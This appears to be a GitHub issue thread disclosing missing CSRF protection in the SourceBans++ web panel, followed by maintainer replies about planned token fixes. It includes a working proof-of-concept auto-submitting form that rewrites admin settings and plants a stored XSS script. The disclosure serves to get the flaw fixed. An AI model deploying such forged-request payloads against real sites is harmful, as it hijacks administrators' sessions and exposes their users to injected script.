sbpp
Security: Web panel inadequate XSRF protection.
SourceBans++ web panel has inadequate XSRF protection. Administrators that are coerced or inadvertently exposed to malicious code may inadvertently allow an attacker to have full access to almost all of the functions of a website.
A simple exploit is shown below:
<form action="http://<VICTIM>/index.php?p=admin&c=settings" id="f"
method="POST" onload="document.getElementById('f').submit();">
<input type="text" name="settingsGroup" value="mainsettings" />
<input type="text" name="template_title" value="SourceBans" />
<input type="text" name="template_logo" value="logos/sb-large.png" />
<input type="text" name="config_password_minlength" value="4" />
<input type="text" name="config_dateformat" value="" />
<input type="text" name="dash_intro_title" value="popped" />
<input type="text" name="dash_intro_text" value="<script>alert('persistent xss');" />
<input type="text" name="enable_protest" value="on" />
<input type="text" name="enable_submit" value="on" />
<input type="text" name="enable_commslist" value="on" />
<input type="text" name="default_page" value="0" />
<input type="text" name="banlist_bansperpage" value="30" />
<input type="text" name="bans_customreason[]" value="" />
<input type="text" name="bans_customreason[]" value="" />
<input type="text" name="asettings" value="Save Changes" />
<input type="submit" />
</form>
This form may be embedded in an iframe or otherwise occluded using normal exploit-hiding from the victim. A server owner who is coerced into visiting a website on a completely different domain will now proceed to use their credentials to submit the form on their sourcebans installation, resulting in a persistent xss now being presented to all of their users.
This is a simple example exploit, however the issue is far more pervasive than simply injecting persistent XSS. Almost all functions of the website can be controlled through XSRF-exploits tied with the data manipulation possible through data manipulation in pages/.
These issues are largely fixed by sending a nonce along with the data request. Please see the aforementioned CSRF article for more information.
has inadequate XSRF protection
SB++ absolutely don't have CSRF protection.
Yeah, neither SourceBans++ nor Xajax have CSRF protection.
SourceBans++'s SessionManager is currently getting some updates,
mainly to fix recurring session timeout issues for some users,
but also to step up security with a One Time Token system and a CSRF Token system (+ request origin checks).
has inadequate XSRF protection
SB++ absolutely don't have CSRF protection.
I was under impression that the if (!defined("IN_SB")) early exit conditions were an attempted weak form of XSRF protection :)
No, those IN_* constants in PHP, mostly serve the
sole purpose of preventing people to run accessible PHP scripts that contain some kind of business logic.